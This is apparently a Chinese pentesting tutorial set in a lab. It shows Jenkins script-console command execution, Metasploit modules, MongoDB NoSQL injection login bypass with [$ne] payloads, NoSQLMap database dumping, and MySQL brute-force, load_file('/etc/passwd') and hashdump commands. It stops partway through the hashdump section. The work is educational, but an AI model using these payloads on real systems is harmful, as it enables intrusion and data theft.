INFO: Started SSHD at port 43731
Mar 15, 2017 5:04:53 AM jenkins.InitReactorRunner$1 onAttained
INFO: Completed initialization
Mar 15, 2017 5:04:55 AM org.springframework.context.support.AbstractApplicationContext prepareRefresh
INFO: Refreshing org.springframework.web.context.support.StaticWebApplicationContext@4d8c4701: display name [Root WebApplicationContext]; startup date [Wed Mar 15 05:04:55 EDT 2017]; root of context hierarchy
Mar 15, 2017 5:04:55 AM org.springframework.context.support.AbstractApplicationContext obtainFreshBeanFactory
INFO: Bean factory for application context [org.springframework.web.context.support.StaticWebApplicationContext@4d8c4701]: org.springframework.beans.factory.support.DefaultListableBeanFactory@16f7f485
Mar 15, 2017 5:04:55 AM org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons
INFO: Pre-instantiating singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory@16f7f485: defining beans [authenticationManager]; root of factory hierarchy
Mar 15, 2017 5:04:58 AM org.springframework.context.support.AbstractApplicationContext prepareRefresh
INFO: Refreshing org.springframework.web.context.support.StaticWebApplicationContext@1aa6a1d4: display name [Root WebApplicationContext]; startup date [Wed Mar 15 05:04:58 EDT 2017]; root of context hierarchy
Mar 15, 2017 5:04:58 AM org.springframework.context.support.AbstractApplicationContext obtainFreshBeanFactory
INFO: Bean factory for application context [org.springframework.web.context.support.StaticWebApplicationContext@1aa6a1d4]: org.springframework.beans.factory.support.DefaultListableBeanFactory@26dbd965
Mar 15, 2017 5:04:58 AM org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons
INFO: Pre-instantiating singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory@26dbd965: defining beans [filter,legacy]; root of factory hierarchy
Mar 15, 2017 5:04:59 AM jenkins.install.SetupWizard init
INFO:

*************************************************************
*************************************************************
*************************************************************

Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:

e019dca34bac4a30beca67b53e821f35

This may also be found at: /root/.jenkins/secrets/initialAdminPassword

*************************************************************
*************************************************************
*************************************************************

Mar 15, 2017 5:05:06 AM hudson.model.UpdateSite updateData
INFO: Obtained the latest update center data file for UpdateSource default
Mar 15, 2017 5:05:09 AM hudson.model.DownloadService$Downloadable load
INFO: Obtained the updated data file for hudson.tasks.Maven.MavenInstaller
Mar 15, 2017 5:05:09 AM hudson.model.UpdateSite updateData
INFO: Obtained the latest update center data file for UpdateSource default
Mar 15, 2017 5:05:10 AM hudson.WebAppMain$3 run
INFO: Jenkins is fully up and running
Mar 15, 2017 5:05:10 AM javax.jmdns.impl.HostInfo newHostInfo
WARNING: Could not intialize the host network interface on nullbecause of an error: lab: lab: Temporary failure in name resolution
java.net.UnknownHostException: lab: lab: Temporary failure in name resolution
    at java.net.InetAddress.getLocalHost(InetAddress.java:1505)
    at javax.jmdns.impl.HostInfo.newHostInfo(HostInfo.java:75)
    at javax.jmdns.impl.JmDNSImpl.<init>(JmDNSImpl.java:407)
    at javax.jmdns.JmDNS.create(JmDNS.java:60)
    at hudson.DNSMultiCast$1.call(DNSMultiCast.java:33)
    at jenkins.util.ContextResettingExecutorService$2.call(ContextResettingExecutorService.java:46)
    at java.util.concurrent.FutureTask.run(FutureTask.java:266)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: java.net.UnknownHostException: lab: Temporary failure in name resolution
    at java.net.Inet6AddressImpl.lookupAllHostAddr(Native Method)
    at java.net.InetAddress$2.lookupAllHostAddr(InetAddress.java:928)
    at java.net.InetAddress.getAddressesFromNameService(InetAddress.java:1323)
    at java.net.InetAddress.getLocalHost(InetAddress.java:1500)
    ... 9 more

Mar 15, 2017 5:05:18 AM hudson.model.DownloadService$Downloadable load
INFO: Obtained the updated data file for hudson.tools.JDKInstaller
Mar 15, 2017 5:05:18 AM hudson.model.AsyncPeriodicWork$1 run
INFO: Finished Download metadata. 27,508 ms

 

请注意这里,我们需要密码来完成设置。

Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:

e019dca34bac4a30beca67b53e821f35

 

如何利用jenkins服务器?

访问 http://127.0.0.1:8080/script, 并用脚本控制台pwn jenkins服务器。

脚本控制台

输入一个任意的Groovy脚本并在服务器上执行它。用于故障排除和诊断。使用’println’命令来查看输出结果(如果使用System.out,它将转到服务器的stdout,这是很难看到的。)

例如:

execmd.groovy

execmd.groovy 可以帮助你在jenkins服务器上执行os命令。

# Windows

println "cmd.exe /c dir".execute().text


# Linux

println "uname -a".execute().text

 

writefile.groovy

writefile.groovy 可以将字符串写入jenkins服务器上的文件。

new File("/tmp/test.sh").write("""
echo "123"
echo "456"
""")

如果你更喜欢metasploit-framework,

msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > show options

Module options (exploit/multi/http/jenkins_script_console):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   password         no        The password for the specified username
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.1.100    yes       The target address
   RPORT      8080             yes       The target port
   TARGETURI  /                yes       The path to jenkins
   USERNAME   test             no        The username to authenticate as
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   1   Linux
msf exploit(jenkins_script_console) > exploit

 

链接

  1. https://jenkins.io/

WEB应用程序评估

Android hacking 与 安全

  1. 利用保护应用程序组件
  2. 内容提供者泄露
  3. 利用广播接收机
  4. 利用非预期的数据泄漏端信道数据泄漏
  5. 使用jdb调试java应用程序
  6. 利用可调试的android应用程序
  7. 攻击android的webviews
  8. 根检测规避
  9. 不安全的本地存储共享偏好
  10. 不安全的本地存储
  11. 黑盒评估introspy
  12. 保护共享偏好第三方库
  13. drozer介绍
  14. 检查Android应用程序特定的数据非根设备
  15. 使用备份技术攻击android应用程序
  16. 破解密码学
  17. 破解Android应用程序二进制文件
  18. 逆向工程介绍
  19. 使用nosql数据库不安全的数据存储
  20. 使用gdb在android模拟器上调试应用程序

安卓逆向工程

  1. http://www.fasteque.com/android-reverse-engineering-101-part-1/
  2. http://www.fasteque.com/android-reverse-engineering-101-part-2/
  3. http://www.fasteque.com/android-reverse-engineering-101-part-3/
  4. http://www.fasteque.com/android-reverse-engineering-101-part-4/
  5. http://www.fasteque.com/android-reverse-engineering-101-part-5/

Android安全和渗透利用

  1. 介绍
  2. Android的安全性-介绍
  3. Android-架构
  4. Android-权限
  5. Android-应用
  6. Genymotion(一款安卓模拟器) 设置
  7. Android-应用程序组件
  8. Dex-分析
  9. Android-调试桥
  10. 基于日志记录的漏洞
  11. 应用逆向
  12. 分析Android的软件及恶意软件
  13. 流量分析
  14. SSL-Pinning
  15. 泄漏的内容提供商
  16. Drozer-功夫
  17. 基于read的内容提供商漏洞
  18. 进阶Drozer-功夫
  19. Drozer脚本
  20. Dropbox的脆弱性
  21. 基于备份的漏洞
  22. 客户端注入
  23. Hooking 介绍和不安全的设置
  24. 基于Andbug的Android调试
  25. JDB调试
  26. 用Introspy自动Hooking
  27. Cydia-基底
  28. 使用Xposed进行Hooking
  29. Androguard脚本和分析
  30. 基于webviews的漏洞
  31. 利用Metasploit工具攻击webviews

书籍推荐

  1. Android安全手册
  2. Android黑客手册
  3. 学习针对Android设备的测试

数据库评估

mongodb

1. 介绍和Labs安装.

1.1 什么是MongoDB ?

MongoDB是一种开源的、文档导向的数据库管理系统,由C++撰写而成。
在MongoDB中,数据以JSON样式文档的形式存储。
MongoDB的一些主要特性:
• 基于文档
• 高性能
• 高可用性
• 简单的可扩展性
• 没有复杂的联接

1.2 安全性如何 ?

随着NoSQL数据库的使用越来越多,安全性应该被认真考虑。 就像其他系统一样,MongoDB的安全性也不是一个单一的工作。 生态系统中的每个人都对此负责。 尽管MongoDB具有一些内置的安全功能,但由于各种原因(如配置错误,不更新,编程不佳等),在生产中可能存在漏洞 。

1.3 在ubuntu中安装MongoDB

我这里使用的是Ubuntu14.04,不同的版本安装MongoDB的命令可能有点差异,为了方便,Ubuntu开启了SSH服务,安装了特定版本的MongoDB 3.0.4。
step 1 : 导入MongoDB GPG密钥。

sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 7F0CEB10

step 2 : 为mongodb创建一个list file
echo "deb http://repo.mongodb.org/apt/ubuntu precise/mongodb-org/3.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.0.list

step 3 : 只更新mongodb-org-3.0.list
sudo apt-get update

step 4 : 安装特定版本的mongodb
sudo apt-get install -y mongodb-org=3.0.4 mongodb-org-server=3.0.4 mongodb-org-shell=3.0.4 mongodb-org-mongos=3.0.4 mongodb-org-tools=3.0.4

step 5 : 配置防止意外升级
echo "mongodb-org hold" | sudo dpkg --set-selections

echo "mongodb-org-server hold" | sudo dpkg --set-selections

echo "mongodb-org-shell hold" | sudo dpkg --set-selections

echo "mongodb-org-mongos hold" | sudo dpkg --set-selections

echo "mongodb-org-tools hold" | sudo dpkg --set-selections

step 6 : 启动MongoDB服务
sudo service mongod start

step 7 : 验证进程是否成功启动
tail -20 /var/log/mongodb/mongod.log

如果看到如下输出信息,意味着进程已成功启动
[initandlisten] waiting for connections on port <port>

step 8 : 为了实现渗透测试,需要使用以下步骤启动MongoDB
sudo mongod --httpinterface --rest --smallfiles
1.4 学习Mongo Shell

在前几节中,我们已经看到了对MongoDB及其设置的简要介绍。现在是时候使用Mongo shell并在MongoDB上执行一些命令来更好了解MongoDB及其工作。
MongoDB使用JavaScript风格的查询,因此我们觉得大部分时间都在运行JavaScript代码。
本节将简要介绍MongoDB的工作原理,并且介绍简单的Mongo shell命令。
在我们开始之前,有几个术语要理解。
• MongoDB 可以有多个数据库.
• 每个数据库都含有一个或多个集合 “collections”.
• 每个集合都含有一个或多个文档 “documents”.

现在,我们继续运行MongoDB命令。

1.4.1 创建数据库

如果要创建的数据库名不存在,以下命令将创建一个新的数据库,数据库名已存在会直接使用它。

让我们来创建一个名为”testdb”的数据库。

漏洞评估

1.4.2 检查当前数据库

我们可以使用命令”db”来检查当前的数据库。 我们运行命令”db”来检查当前的数据库。

漏洞评估

1.4.3 检查数据库列表

“show dbs”是列出可用数据库的命令,但是这里并没有输出我们刚才创建的testdb数据库,因为它至少需要一个文档,当我们插入一个文档,我们就可以看到列出的数据库。

漏洞评估

1.4.4 将数据插入集合

这个是把一个数据插入到data集合中。
“db.data.insert({“user”:”test1″})

漏洞评估

1.4.5 查询数据

从MongoDB集合中查询数据,可以使用find()方法。
让我们查询data集合中的全部文档数据。
“db.data.find()”

漏洞评估

1.4.6 在查询数据时写入条件

我们还可以使用MongoDB特定的语法在类似于RDBMS条件的查询中编写条件,让我们来匹配用户名user为test1的数据。

漏洞评估

1.4.7 删除数据

我们可以使用remove()方法根据特定条件从集合中删除文档。让我们来删除用户名user为test3的数据。

漏洞评估

1.4.8 删除集合

我们可以使用drop()方法来删除集合,让我们来删除data集合。

漏洞评估

1.4.9 删除数据库

我们可以使用db.dropDatabase()删除目前使用的数据库。

漏洞评估

1.5 Lab实验环境安装

熟悉了MongoDB的基本操作之后,接下来我们本地搭建一个Lab实验环境来开始我们的MongoDB数据库渗透测试。

漏洞评估

这里我是通过Parrot和Ubuntu虚拟机来搭建Lab实验环境的,只要确保两主机网络互通即可,桥接和NAT都可以实现。
用Ubuntu来模拟现实中的生产机器,安装MongoDB和php web应用程序。
接下来正式开始我们的Lab实验环境搭建,我这里先安装好了LAMP。

注意: 请使用与我用来创建数据库和集合相同的名称。这是PHP Web应用程序的工作所必需的。如果您更改这些名称,则可能需要相应地更改PHPWeb应用程序。

step 1 : 创建一个新的数据库

漏洞评估

step 2 : 插入数据
把测试数据插入集合”users”和集合”products”。

db.users.insert({"username":"tom","password":"tom","email":"tom@gmail.com","cardnumber":12345})
db.users.insert({"username":"jim","password":"jim","email":"jim@gmail.com","cardnumber":54321})
db.users.insert({"username":"bob","password":"bob","email":"bob@gmail.com","cardnumber":22222})
db.products.insert({"email":"tom@gmail.com","prodname":"laptop","price":"1500USD"})
db.products.insert({"email":"jim@gmail.com","prodname":"book","price":"50USD"})
db.products.insert({"email":"bob@gmail.com","prodname":"diamond-ring","price":"4500USD"})

 

step 3 : 安装mongo的PHP驱动程序

为了使PHP Web应用程序能够使用MongoDB,我们需要安装PHP驱动程序。

sudo apt-get install php-pear
sudo pecl install mongo

 

如果出现如下报错,使用

sudo apt-get install php5-dev
,安装完成后。
再使用
sudo pecl install mongo
即可。

漏洞评估

安装完成后,会提示把”extension=mongo.so”添加到php.ini中,添加即可。

漏洞评估

step 4 : 安装PHP Web应用程序

这里安装比较简单了,直接把mongo.zip拷贝到Ubuntu,解压到/var/www/html目录下,启动apache服务即可。

这一步完成了PHP漏洞应用程序的安装。一旦一切正常,我们可以在浏览器中启动Web应用程序。如图所示:

漏洞评估

之前我们已经在Mongo数据库中插入了测试数据,现在我们直接用tom用户密码登录。
漏洞评估
如果你看到如上所示的主页,那就证明MongoDB渗透环境已经搭建好了。

2. 漏洞评估

2.1 介绍

面对错误配置问题,MongoDB可能会像其他数据库/服务器一样。在本节中,我们将看到一些常见的错误配置以及如何识别它们。我们也将看到与使用MongoDB作为后端的Web应用程序相关的漏洞。

2.2 扫描开放端口

在进行黑盒评估时,我们可以使用nmap来确定MongoDB是否在远程主机上运行。 MongoDB服务的默认端口是27017。扫描到27017是open表示允许在远程主机上运行,默认绑定地址是127.0.0.1,是扫不出来的,我这里修改了绑定地址为0.0.0.0

漏洞评估

MongoDB默认设置不需要使用客户端控制台进行连接的任何验证。如果MongoDB服务在没有适当的安全控制的情况下通过网络公开,任何人都可以远程连接到数据库,并执行命令来创建/读取/更新/删除数据库。我们将在后面的章节中试图做到这一点。

2.3 服务枚举

虽然我们知道了开放端口2017,但其他一些服务可能会使用此端口。也可以运行MongoDB在不同的端口上。 为了确保我们找到的端口是MongoDB,我们可以使用nmap的“-sV”标志来执行服务枚举。

漏洞评估

这也有助于弄清楚MongoDB的版本,以便我们可以找到任何已知的版本可用漏洞。

在我们的渗透测试中,我们可能会遇到MongoDB的老版本。一个快速的Shodan搜索显示,大部分被发现的MongoDB版本都在运行旧版本的MongoDB。

漏洞评估

这对攻击者来说绝对是个好消息,因为旧版本的MongoDB实例中存在许多默认的错误配置。

2.4 扫描HTTP接口

MongoDB提供了一个简单的HTTP界面,列出管理员感兴趣的信息。如果使用带–rest选项的接口启用mongod,则可以通过比配置的mongod端口多1000个端口来访问它。 HTTP接口的默认端口是28017。我们在搭建实验环境时已经使用了带–rest选项的命令来启动mongod。
我们可以使用nmap查看远程主机是否使用http接口运行,通过-sV确认它是MongoDB的http界面。
漏洞评估

注 意 : 默认情况下运行的MongoDB版本大于2.6,禁用http接口。

2.5 访问HTTP接口

可直接通过HTTP链接访问:http://192.168.2.105:28017/,可实现多种功能,大家自行研究。

漏洞评估

2.6 用nmap NSE scripts进行扫描

如果http接口需要认证,我们需要尝试暴力破解。有相当多的nmap nse 脚本可用于MongoDB漏洞评估。我们可以使用它们来识别目标机器中的漏洞。

2.7 mongodb-brute

使用这个NSE脚本对MongoDB数据库执行暴力破解密码审计,我们可以看到mongodb-brute已经进行了测试并确认不需要认证。

漏洞评估

2.8 mongodb-databases

使用这个NSE脚本尝试从MongoDB数据库获取表的列表。这只有在MongoDB接口不需要验证的情况下才有效。

漏洞评估

2.9 Metasploit辅助模块

使用auxiliary/scanner/mongodb/mongodb_login辅助模块
show options 查询需要配置的选项。

漏洞评估

设置好参数,直接run,这里看到是没认证的,如果有认证需要配合字典爆破。

漏洞评估

从MongoDB版本3.0开始,MongoDB已经将其默认的认证方法改变为质询和响应机制(SCRAM-SHA-1)。根据文档,“SCRAM-SHA-1根据用户的名称,密码和数据库验证提供的用户凭证。
当用户使用MongoDB进行身份验证时,他必须提供用户名,密码和创建数据库。

mongo 192.168.2.105 -u user -p password –authenticationDatabase userdb

在MongoDB上暴力破解是有点困难,因为我们需要能够正确地通过所有这三个。 知道创建用户的数据库的名称很重要。 通常情况下,自动化工具默认选择“admin”作为数据库。

2.10 攻击利用

在最初的信息收集阶段,我们了解到远程主机正在运行MongoDB,并且不需要进行身份验证即可连接到服务器。
当在生产环境中使用MongoDB时,必须从其他数据库和/或应用程序服务器访问。当mongod通过网络暴露给其他主机时,必须小心防止不必要的暴露出公网。
当我们可以免认证直接连接到MongoDB数据库或者WEB访问28017端口,就可以随意进行自己想要的操作。

3. 攻击应用程序

3.1 介绍

到目前为止,在给出MongoDB主机的IP地址时,我们学会了评估Mongo主机安全性的技术。 本节将介绍在MongoDB与Web应用程序一起使用时执行NoSQL注入攻击的技术。
SQL数据库(如MySQL)上的注入是非常常见的。 有一个误解,即MongoDB不使用SQL,因此在使用MongoDB的应用程序中不能使用注入。但当用户输入没有正确过滤时,仍然可以对基于MongoDB的应用程序进行注入攻击。

我们将用使用MongoDB作为后端的PHP应用程序来演示这种攻击。

以PHP和MongoDB为后端的NoSQL注入

让我们开始使用之前搭建好的实验环境-PHP-MongoDB应用程序,先了解应用程序功能,我们打开首页,需要输入正确的用户名和密码登录。 如果用户名/密码不正
确,应用程序将会报错。

接下来让我们通过使用注入绕过这个认证。

认证绕过    漏洞评估

确保浏览器配置为通过Burp代理发送所有流量,因为应用程序使用POST方法发送凭证,我们直接把请求包截取下来。

漏洞评估

从上图可以看出,我们通过”tom”作为用户名和密码。我们可以对数据进行修改再转发到服务器。 在修改这些参数之前,我们先理解MongoDB注入是如何工作的。
了解MongoDB中的注入:
在后台运行的查询将创建以下语句
漏洞评估
这看起来没问题,因为它正在提取我们请求的文件,这个文件的用
户名和密码是”tom”
但是,如果上面的命令被修改会怎样? 如下所示 :

漏洞评估

如果你注意到,上面的MongoDB命令是获取用户名是“tom”而密码不等于“test0x00”的所有文档。
我们直接修改命令,同时对用户名和密码注入。

漏洞评估

这一次,我们可以看到所有不符合条件用户名和密码的文件。

那么就这些条件的功能而言,这个输出就像预期的一样。

试想一下,如果可以从Web应用程序入口点创建这种情况,即使密码不匹配,我们也能够看到特定用户名的文档。 显然,这会对应用程序造成严重的危险。

测试注入:
在我们继续向数据库中注入一些恶意查询之前,我们来测试一下MongoDB及其异常的存在。 这个想法和其他注入一样。

正如我们在前面的章节中看到的,在MongoDB查询中可以传递[$ne]这样的条件。 如果我们传递一些MongoDB未知的东西,会发生什么?

我们可以往MongoDB查询中传递一个[$nt].

漏洞评估

正如我们在上面的输出中可以看到的,我们打破了查询,并得到一个错误,说“未知的操作符:[$nt]”

让我们从实验环境PHP应用程序中尝试这个。 如果异常处理不当并抛出给用户,与MySQL数据库中的SQL注入类似,我们可以看到MongoDB的存在并收集其他关键信息。

让我们注入一些未知的运算符,重发刚才拦截到的数据包,看看MongoDB是否执行它。

漏洞评估

在浏览器看不出问题所在,没有任何错误回显。但burp就可以看到出现500内部错误。

漏洞评估

当我们把不存在的数组修改器

[$nt]
改成
[$ne]
,重发数据包后就发现登录成功了。

漏洞评估

我这里直接用hackbar进行post数据,可以看到我们已经成功登录进后台了。

下面贴上index.php的漏洞代码片段:

漏洞评估

我们来分析一下MongoDB层面发生了什么
我们传递的数据已经发送到数据库,下面的查询已经被执行,允许我们登录。

漏洞评估

我们还可以检查MongoDB控制台日志,以了解攻击者执行的操作。

漏洞评估

这不仅仅是绕过认证,而且我们也可以使用相同的技术在某些情况下从数据库中提取数据,如下所示。

实验环境WEB应用程序有一个功能,我们可以在其中搜索用户所做的购买细节 。首先,用户必须登录到应用程序,然后他可以输入他的电子邮件ID来查看他的购买细节。

注 意 : 虽然在这个应用程序中没有实现 输入控制 ,但假设这个应用程序在输入电子邮件ID时不会显示其他用户的详细信息。

枚举数据:

当用户输入他的邮箱地址进行搜索详细信息,URL会变成如下:

http://192.168.2.105/home.php?search=tom@gmail.com&Search=Search

上面的查询显示了与输入的电子邮件ID相关的输出,如下所示。

漏洞评估

让我们再次测试MongoDB注入 ,如下所示

漏洞评估

MongoDB可能会执行我们传递的查询,因为它正在执行我们在URL中传递的操作符并中断查询。我们把

[$nk]
替换成
[$ne]
再次进行注入。

漏洞评估

如上所示,我们看到正确查询到了3条数据,但是默认只显示一条。我们可以通过

[$ne]
来遍历数据。

漏洞评估

这个例子显示了对基于MongoDB的应用程序的严重注入攻击的可能性。

下面贴上home.php的漏洞代码片段

漏洞评估

如何解决这个问题?

这个问题背后的根本原因是缺乏对来自用户的数据类型进行适当的输入验证。 确保用户输入在处理之前被严格验证。

我们只需要做下严格验证即可,例如:

(string)$_POST['uname']
(string)$_POST['upass']

确保变量在被传递到MongoDB驱动程序之前被正确输入。

以 NodeJS和MongoDB 为后端的 NoSQL注入,跟PHP应用程序注入方式一样,感兴趣的可以自行研究。

4. 自动化评估

在之前的所有章节中,我们都使用了一些使用nmap等半自动化工具的手动技术来识别目标中的漏洞。在本节中,我们使用自动化方法来查找前面部分提到的所有漏洞。
我们将使用一个非常好的工具,称为NoSQLMap

介绍
NoSQLMap是一个开源的Python工具,用于审计和自动化注入攻击,并利用NoSQL数据库中的缺省配置弱点,以及使用NoSQL的Web应用程序来泄露数据库中的数据。目前,这个工具的漏洞主要集中在MongoDB上,但是在未来的版本中计划对其他基于NoSQL的平台(如CouchDB,Redis和Cassandra)提供额外的支持。

特性
• 自动化的MongoDB和CouchDB数据库枚举和克隆攻击。
• 通过MongoDB Web应用程序提取数据库名称,用户和密码哈希。
• 使用默认访问和枚举版本扫描MongoDB和CouchDB数据库的子网或IP列表。
• 使用 强力字典 爆破 MongoDB和CouchDB 的 哈希。
• 针对MongoClient的PHP应用程序参数注入攻击返回所有数据库记录。
• Javascript函数变量转义和任意代码注入来返回所有的数据库记录。
• 基于计时的攻击类似于SQL盲注来验证没有回显信息的Javascript注入漏洞。

下载并安装好NoSQLMap,运行:

漏洞评估

4.1 准备好NoSQLMap

根据我们的目标,我们可以选择一个合适的选项。 在进行漏洞评估之前,我们需要使用选项1来设置参数。

漏洞评估

• 第一个选项是指定目标IP地址。
• 第二个选项是指定被渗透机WEB应用的地址。
• 第三个选项是指定可能存在注入的路径。
• 第四个选项是切换HTTPS。
• 第五个选项是指定MongoDB的工作端口。
• 第六个选项是设置HTTP请求模式。
• 第七个选项是设置本地的IP地址。
• 第八个选项是设置本地监听端口(MongoDB shell的反弹端口)。
• ……

下面让我们开始实验。我们先需要设置好相关参数。

漏洞评估

4.2 NoSQL DB访问攻击       漏洞评估

退出主界面选择第二个NoSQL DB Access Attacks。此选项将检查目标服务器上的MongoDB是否可通过网络访问。 如果可以访问,它将检查我们在前面章节中讨论的错误配置(没有认证,暴露的WEB控制台,暴露的REST端口)

漏洞评估

从上面的输出我们可以看到,NoSQLMap发现通过网络访问MongoDB没有认证,然后给我们提供了获取服务器系统和版本,数据库枚举,检查规范,克隆数据库等功能。
我们先获取服务器系统和版本,如图:

漏洞评估

数据库枚举,从远程服务器 dump 所有数据库和集合:
漏洞评估

4.3 匿名MongoDB访问扫描

NoSQLMap有一个扫描器,可以扫描整个子网上的MongoDB访问。
我们可以直接输入整一个子网网段进行扫描,例如

192.168.152.0/24

我们回到主界面,选择选项4,

漏洞评估

它将显示以下选项。

• 可以通过命令输入ip地址
• 可以从一个文件加载IP地址
• 启用/禁用ping之前,尝试与目标服务器的MongoDB连接。

首先,我们提供一个IP地址并观察结果。

漏洞评估

正如我们在上面的结果中看到的,NoSQLMap已经扫描了提供的IP,并确认远程机器上有默认访问。
此外,它还提供了一个选项来将结果保存到CSV文件,我这里把CSV文件命名为test。
我们可以直接使用

cat
命令查看文件的内容。

漏洞评估

我们还可以提供一个网段来进行扫描。

漏洞评估

NoSQLMap正在检查我们提供网段的每台机器MongoDB匿名访问是否能成功。

漏洞评估

成功获取到这台机器存在匿名访问,其他步骤跟以上相同,在此直接跳过。

4.4 使用NoSQLmap进行NoSQL注入

到目前为止,我们已经看到了使用NoSQLMap工具评估MongoDB服务器安全性的各种方法。

现在,让我们检查一下之前搭建好的实验环境(利用MongoDB作为后端Web应用程序中的漏洞)。

漏洞评估

我们选择选项3 WEB应用程序攻击,这里会提示我们没有设置options。我们直接选择1,根据自己的实验情况设置即可。

漏洞评估

退出主界面,选择3开始WEB应用程序攻击

漏洞评估

选择随机数的长度及填充格式,我这里选择1,字母数字。一旦完成,NoSQLMap会提示我们选择要测试的参数。 在我们的例子中,第一个参数是处理MongoDB的动态参数。

漏洞评估

我们看到这里可能存在注入,因此我们选择不开始时间盲注。

漏洞评估

我们看到NoSQLMap已经完成了对应用程序中的注入漏洞的测试,并显示了所有注入点和使用的有效载荷的输出。在使用手动技术学习评估时,我们已经看到了这一点。

http://192.168.152.151:80/home.php?search[$ne]=OybrUiUGatApIIdOioUS&Search=Search
http://192.168.152.151:80/home.php?search[$gt]=&Search=Search

结论:
任何系统的安全性与其最薄弱的环节一样强大。 小小的错误配置会导致严重的损坏。 我们在这里展示的所有例子都是人们常犯的错误。请保持你的MongoDB是最新的,并且在把它传递给MongoDB之前总是验证用户的输入。

mysql         漏洞评估

命令 描述
select @@version 显示mysql服务器版本
select version() 显示mysql服务器版本
SHOW STATUS 显示mysql服务器状态信息
show VARIABLES 显示所有的mysql服务器变量
select user() 查询当前数据库用户
SHOW VARIABLES LIKE ‘%datadir%’ 显示包含数据字符串的所有变量
select load_file(‘/etc/passwd’); 加载文件到数据库中
select 0xnnnnnn… INTO OUTFILE ‘/path/to/filename’ 将数据写入文本文件.
select 0xnnnnnn… INTO DUMPFILE ‘/path/to/filename’ 将数据写入二进制文件.

怎样安装mysql数据库服务器 ?

Lab: ubuntu / debian

$ sudo apt-get install mysql-server
$ sudo systemctl start service

编辑 

/etc/mysql/mysql.conf.d/mysqld.cnf
, 和改变 绑定的地址.
bind-address = 0.0.0.0

允许远程访问

root@sh:~# ss -ant | grep ":3306"
LISTEN     0      80           *:3306                     *:*
root@sh:~# mysql -h 10.0.250.71 -uroot -p
Enter password:
ERROR 1130 (HY000): Host '10.0.250.71' is not allowed to connect to this MySQL server

 

创建一个SQL文件 adduser.sql, 和执行这个命令: 

mysql -h 127.0.0.1 -u root -p mysql < adduser.sql
CREATE USER 'mysqlsec'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'localhost' WITH GRANT OPTION;
CREATE USER 'mysqlsec'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'%' WITH GRANT OPTION;

如果成功了,你就能够远程访问MYSQL数据库服务器.

root@sh:~# mysql -h 10.0.250.71 -u mysqlsec -p mysql
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 5.6.30-1 (Debian)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
mysql> select Host,User,Password from `mysql`.`user` where User='mysqlsec';
+-----------+----------+-------------------------------------------+
| Host      | User     | Password                                  |
+-----------+----------+-------------------------------------------+
| localhost | mysqlsec | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
| %         | mysqlsec | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+-----------+----------+-------------------------------------------+
2 rows in set (0.00 sec)

 

怎样爆破mysql ?         漏洞评估

msf auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE         /tmp/pass.txt    no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            10.0.250.71      yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port
   STOP_ON_SUCCESS   true             yes       Stop guessing when a credential works for a host
   THREADS           10               yes       The number of concurrent threads
   USERNAME          mysqlsec         no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(mysql_login) > run

[*] 10.0.250.71:3306      - 10.0.250.71:3306 - Found remote MySQL version 5.6.30
[-] 10.0.250.71:3306      - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:AzVJmX (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306      - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:j1Uyj3 (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306      - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:root (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306      - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:mysql (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[+] 10.0.250.71:3306      - MYSQL - Success: 'mysqlsec:password'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

 

怎样把mysql哈希值dump出来 ?

msf auxiliary(mysql_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

